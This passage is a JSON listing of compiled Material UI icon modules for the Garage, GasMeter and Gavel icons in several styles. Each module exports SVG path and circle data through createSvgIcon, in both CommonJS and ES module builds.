    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.78 18.5h.44c.43 0 .78-.36.78-.81V16.5h10v1.19c0 .45.34.81.78.81h.44c.43 0 .78-.36.78-.81v-6.5c-.82-2.46-1.34-4.03-1.56-4.69-.05-.16-.12-.29-.19-.4-.02-.02-.03-.04-.05-.07-.38-.52-.92-.53-.92-.53H7.72s-.54.01-.92.54c-.02.02-.03.04-.05.06-.07.11-.14.24-.19.4-.22.66-.74 2.22-1.56 4.69v6.5c0 .45.35.81.78.81m2.55-11h7.34l.23.69.43 1.31H7.67zM7 11.51v-.01h10v3H7z\"\n}, \"3\")], 'GarageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GarageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.78 18.5h.44c.43 0 .78-.36.78-.81V16.5h10v1.19c0 .45.34.81.78.81h.44c.43 0 .78-.36.78-.81v-6.5c-.82-2.46-1.34-4.03-1.56-4.69-.05-.16-.12-.29-.19-.4-.02-.02-.03-.04-.05-.07-.38-.52-.92-.53-.92-.53H7.72s-.54.01-.92.54c-.02.02-.03.04-.05.06-.07.11-.14.24-.19.4-.22.66-.74 2.22-1.56 4.69v6.5c0 .45.35.81.78.81m2.55-11h7.34l.23.69.43 1.31H7.67zM7 11.51v-.01h10v3H7z\"\n}, \"3\")], 'GarageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GarageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.33 7.5-.66 2h8.66l-.66-2z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 15.69c0 .45-.35.81-.78.81h-.44c-.44 0-.78-.36-.78-.81V16.5H7v1.19c0 .45-.35.81-.78.81h-.44c-.43 0-.78-.36-.78-.81v-6.5c.82-2.47 1.34-4.03 1.56-4.69.05-.16.12-.29.19-.4.02-.02.03-.04.05-.06.38-.53.92-.54.92-.54h8.56s.54.01.92.53c.02.03.03.05.05.07.07.11.14.24.19.4.22.66.74 2.23 1.56 4.69z\"\n}, \"3\")], 'GarageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GarageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.33 7.5-.66 2h8.66l-.66-2z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 15.69c0 .45-.35.81-.78.81h-.44c-.44 0-.78-.36-.78-.81V16.5H7v1.19c0 .45-.35.81-.78.81h-.44c-.43 0-.78-.36-.78-.81v-6.5c.82-2.47 1.34-4.03 1.56-4.69.05-.16.12-.29.19-.4.02-.02.03-.04.05-.06.38-.53.92-.54.92-.54h8.56s.54.01.92.53c.02.03.03.05.05.07.07.11.14.24.19.4.22.66.74 2.23 1.56 4.69z\"\n}, \"3\")], 'GarageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GarageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.33 7.5-.66 2h8.66l-.66-2z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v20h20zm-3 16.5h-2v-2H7v2H5v-7.31L6.89 5.5H17.1l1.9 5.69z\"\n}, \"3\")], 'GarageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GarageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.33 7.5-.66 2h8.66l-.66-2z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v20h20zm-3 16.5h-2v-2H7v2H5v-7.31L6.89 5.5H17.1l1.9 5.69z\"\n}, \"3\")], 'GarageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GarageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11.51v-.01H7v3h10zM9 14c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16V4H4zm1-8.81c.82-2.47 1.34-4.03 1.56-4.69.05-.16.12-.29.19-.4.02-.02.03-.04.05-.06.38-.53.92-.54.92-.54h8.56s.54.01.92.53c.02.03.03.05.05.07.07.11.14.24.19.4.22.66.74 2.23 1.56 4.69v6.5c0 .45-.35.81-.78.81h-.44c-.44 0-.78-.36-.78-.81V16.5H7v1.19c0 .45-.35.81-.78.81h-.44c-.43 0-.78-.36-.78-.81z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.78 18.5h.44c.43 0 .78-.36.78-.81V16.5h10v1.19c0 .45.34.81.78.81h.44c.43 0 .78-.36.78-.81v-6.5c-.82-2.46-1.34-4.03-1.56-4.69-.05-.16-.12-.29-.19-.4-.02-.02-.03-.04-.05-.07-.38-.52-.92-.53-.92-.53H7.72s-.54.01-.92.54c-.02.02-.03.04-.05.06-.07.11-.14.24-.19.4-.22.66-.74 2.22-1.56 4.69v6.5c0 .45.35.81.78.81m2.55-11h7.34l.23.69.43 1.31H7.67zM7 11.51v-.01h10v3H7z\"\n}, \"5\")], 'GarageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GarageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11.51v-.01H7v3h10zM9 14c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16V4H4zm1-8.81c.82-2.47 1.34-4.03 1.56-4.69.05-.16.12-.29.19-.4.02-.02.03-.04.05-.06.38-.53.92-.54.92-.54h8.56s.54.01.92.53c.02.03.03.05.05.07.07.11.14.24.19.4.22.66.74 2.23 1.56 4.69v6.5c0 .45-.35.81-.78.81h-.44c-.44 0-.78-.36-.78-.81V16.5H7v1.19c0 .45-.35.81-.78.81h-.44c-.43 0-.78-.36-.78-.81z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.78 18.5h.44c.43 0 .78-.36.78-.81V16.5h10v1.19c0 .45.34.81.78.81h.44c.43 0 .78-.36.78-.81v-6.5c-.82-2.46-1.34-4.03-1.56-4.69-.05-.16-.12-.29-.19-.4-.02-.02-.03-.04-.05-.07-.38-.52-.92-.53-.92-.53H7.72s-.54.01-.92.54c-.02.02-.03.04-.05.06-.07.11-.14.24-.19.4-.22.66-.74 2.22-1.56 4.69v6.5c0 .45.35.81.78.81m2.55-11h7.34l.23.69.43 1.31H7.67zM7 11.51v-.01h10v3H7z\"\n}, \"5\")], 'GarageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GasMeter.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4h-1V2h-2v2h-2V2H9v2H8C5.79 4 4 5.79 4 8v10c0 2.21 1.79 4 4 4h8c2.21 0 4-1.79 4-4V8c0-2.21-1.79-4-4-4m-4 14c-1.38 0-2.5-1.1-2.5-2.46 0-1.09.43-1.39 2.5-3.79 2.05 2.38 2.5 2.7 2.5 3.79C14.5 16.9 13.38 18 12 18m4-8H8V8h8z\"\n}), 'GasMeter');"
  },
  {
    "path": "packages/mui-icons-material/lib/GasMeter.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4h-1V2h-2v2h-2V2H9v2H8C5.79 4 4 5.79 4 8v10c0 2.21 1.79 4 4 4h8c2.21 0 4-1.79 4-4V8c0-2.21-1.79-4-4-4m-4 14c-1.38 0-2.5-1.1-2.5-2.46 0-1.09.43-1.39 2.5-3.79 2.05 2.38 2.5 2.7 2.5 3.79C14.5 16.9 13.38 18 12 18m4-8H8V8h8z\"\n}), 'GasMeter');"
  },
  {
    "path": "packages/mui-icons-material/lib/GasMeterOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4h-1V2h-2v2h-2V2H9v2H8C5.79 4 4 5.79 4 8v10c0 2.21 1.79 4 4 4h8c2.21 0 4-1.79 4-4V8c0-2.21-1.79-4-4-4m2 14c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2V8c0-1.1.9-2 2-2h8c1.1 0 2 .9 2 2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 15.54C9.5 16.9 10.62 18 12 18s2.5-1.1 2.5-2.46c0-1.09-.45-1.41-2.5-3.79-2.07 2.4-2.5 2.71-2.5 3.79M8 8h8v2H8z\"\n}, \"1\")], 'GasMeterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GasMeterOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4h-1V2h-2v2h-2V2H9v2H8C5.79 4 4 5.79 4 8v10c0 2.21 1.79 4 4 4h8c2.21 0 4-1.79 4-4V8c0-2.21-1.79-4-4-4m2 14c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2V8c0-1.1.9-2 2-2h8c1.1 0 2 .9 2 2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 15.54C9.5 16.9 10.62 18 12 18s2.5-1.1 2.5-2.46c0-1.09-.45-1.41-2.5-3.79-2.07 2.4-2.5 2.71-2.5 3.79M8 8h8v2H8z\"\n}, \"1\")], 'GasMeterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GasMeterRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4h-1V3c0-.55-.45-1-1-1s-1 .45-1 1v1h-2V3c0-.55-.45-1-1-1s-1 .45-1 1v1H8C5.79 4 4 5.79 4 8v10c0 2.21 1.79 4 4 4h8c2.21 0 4-1.79 4-4V8c0-2.21-1.79-4-4-4m-4 14c-1.38 0-2.5-1.1-2.5-2.46 0-1.02.38-1.35 2.12-3.35.2-.23.56-.23.75 0 1.73 1.99 2.12 2.34 2.12 3.35C14.5 16.9 13.38 18 12 18m3-8H9c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'GasMeterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GasMeterRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4h-1V3c0-.55-.45-1-1-1s-1 .45-1 1v1h-2V3c0-.55-.45-1-1-1s-1 .45-1 1v1H8C5.79 4 4 5.79 4 8v10c0 2.21 1.79 4 4 4h8c2.21 0 4-1.79 4-4V8c0-2.21-1.79-4-4-4m-4 14c-1.38 0-2.5-1.1-2.5-2.46 0-1.02.38-1.35 2.12-3.35.2-.23.56-.23.75 0 1.73 1.99 2.12 2.34 2.12 3.35C14.5 16.9 13.38 18 12 18m3-8H9c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'GasMeterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GasMeterSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4h-5V2h-2v2h-2V2H9v2H4v18h16zm-8 14c-1.38 0-2.5-1.1-2.5-2.46 0-1.09.43-1.39 2.5-3.79 2.05 2.38 2.5 2.7 2.5 3.79C14.5 16.9 13.38 18 12 18m4-8H8V8h8z\"\n}), 'GasMeterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GasMeterSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4h-5V2h-2v2h-2V2H9v2H4v18h16zm-8 14c-1.38 0-2.5-1.1-2.5-2.46 0-1.09.43-1.39 2.5-3.79 2.05 2.38 2.5 2.7 2.5 3.79C14.5 16.9 13.38 18 12 18m4-8H8V8h8z\"\n}), 'GasMeterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GasMeterTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 6H8c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-4 12c-1.38 0-2.5-1.1-2.5-2.46 0-1.09.43-1.39 2.5-3.79 2.05 2.38 2.5 2.7 2.5 3.79C14.5 16.9 13.38 18 12 18m4-8H8V8h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4h-1V2h-2v2h-2V2H9v2H8C5.79 4 4 5.79 4 8v10c0 2.21 1.79 4 4 4h8c2.21 0 4-1.79 4-4V8c0-2.21-1.79-4-4-4m2 14c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2V8c0-1.1.9-2 2-2h8c1.1 0 2 .9 2 2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 15.54C9.5 16.9 10.62 18 12 18s2.5-1.1 2.5-2.46c0-1.09-.45-1.41-2.5-3.79-2.07 2.4-2.5 2.71-2.5 3.79M8 8h8v2H8z\"\n}, \"2\")], 'GasMeterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GasMeterTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 6H8c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-4 12c-1.38 0-2.5-1.1-2.5-2.46 0-1.09.43-1.39 2.5-3.79 2.05 2.38 2.5 2.7 2.5 3.79C14.5 16.9 13.38 18 12 18m4-8H8V8h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4h-1V2h-2v2h-2V2H9v2H8C5.79 4 4 5.79 4 8v10c0 2.21 1.79 4 4 4h8c2.21 0 4-1.79 4-4V8c0-2.21-1.79-4-4-4m2 14c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2V8c0-1.1.9-2 2-2h8c1.1 0 2 .9 2 2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 15.54C9.5 16.9 10.62 18 12 18s2.5-1.1 2.5-2.46c0-1.09-.45-1.41-2.5-3.79-2.07 2.4-2.5 2.71-2.5 3.79M8 8h8v2H8z\"\n}, \"2\")], 'GasMeterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Gavel.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5.2497 8.0687 2.83-2.8268 14.1342 14.15-2.83 2.8269zm4.2361-4.2415 2.828-2.8288 5.6577 5.656-2.828 2.8288zM.999 12.3147l2.8284-2.8284 5.6569 5.6568-2.8285 2.8285zM1 21h12v2H1z\"\n}), 'Gavel');"
  },
  {
    "path": "packages/mui-icons-material/lib/Gavel.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5.2497 8.0687 2.83-2.8268 14.1342 14.15-2.83 2.8269zm4.2361-4.2415 2.828-2.8288 5.6577 5.656-2.828 2.8288zM.999 12.3147l2.8284-2.8284 5.6569 5.6568-2.8285 2.8285zM1 21h12v2H1z\"\n}), 'Gavel');"
  },
  {
    "path": "packages/mui-icons-material/lib/GavelOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 21h12v2H1zM5.24 8.07l2.83-2.83 14.14 14.14-2.83 2.83zM12.32 1l5.66 5.66-2.83 2.83-5.66-5.66zM3.83 9.48l5.66 5.66-2.83 2.83L1 12.31z\"\n}), 'GavelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GavelOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 21h12v2H1zM5.24 8.07l2.83-2.83 14.14 14.14-2.83 2.83zM12.32 1l5.66 5.66-2.83 2.83-5.66-5.66zM3.83 9.48l5.66 5.66-2.83 2.83L1 12.31z\"\n}), 'GavelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GavelRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 21h10c.55 0 1 .45 1 1s-.45 1-1 1H2c-.55 0-1-.45-1-1s.45-1 1-1M5.24 8.07l2.83-2.83L20.8 17.97c.78.78.78 2.05 0 2.83s-2.05.78-2.83 0zm8.49-5.66 2.83 2.83c.78.78.78 2.05 0 2.83l-1.42 1.42-5.65-5.66 1.41-1.41c.78-.79 2.05-.79 2.83-.01m-9.9 7.07 5.66 5.66-1.41 1.41c-.78.78-2.05.78-2.83 0l-2.83-2.83c-.78-.78-.78-2.05 0-2.83z\"\n}), 'GavelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GavelRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 21h10c.55 0 1 .45 1 1s-.45 1-1 1H2c-.55 0-1-.45-1-1s.45-1 1-1M5.24 8.07l2.83-2.83L20.8 17.97c.78.78.78 2.05 0 2.83s-2.05.78-2.83 0zm8.49-5.66 2.83 2.83c.78.78.78 2.05 0 2.83l-1.42 1.42-5.65-5.66 1.41-1.41c.78-.79 2.05-.79 2.83-.01m-9.9 7.07 5.66 5.66-1.41 1.41c-.78.78-2.05.78-2.83 0l-2.83-2.83c-.78-.78-.78-2.05 0-2.83z\"\n}), 'GavelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GavelSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 21h12v2H1zM5.24 8.07l2.83-2.83 14.14 14.14-2.83 2.83zM12.32 1l5.66 5.66-2.83 2.83-5.66-5.66zM3.83 9.48l5.66 5.66-2.83 2.83L1 12.31z\"\n}), 'GavelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GavelSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 21h12v2H1zM5.24 8.07l2.83-2.83 14.14 14.14-2.83 2.83zM12.32 1l5.66 5.66-2.83 2.83-5.66-5.66zM3.83 9.48l5.66 5.66-2.83 2.83L1 12.31z\"\n}), 'GavelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GavelTwoTone.js",
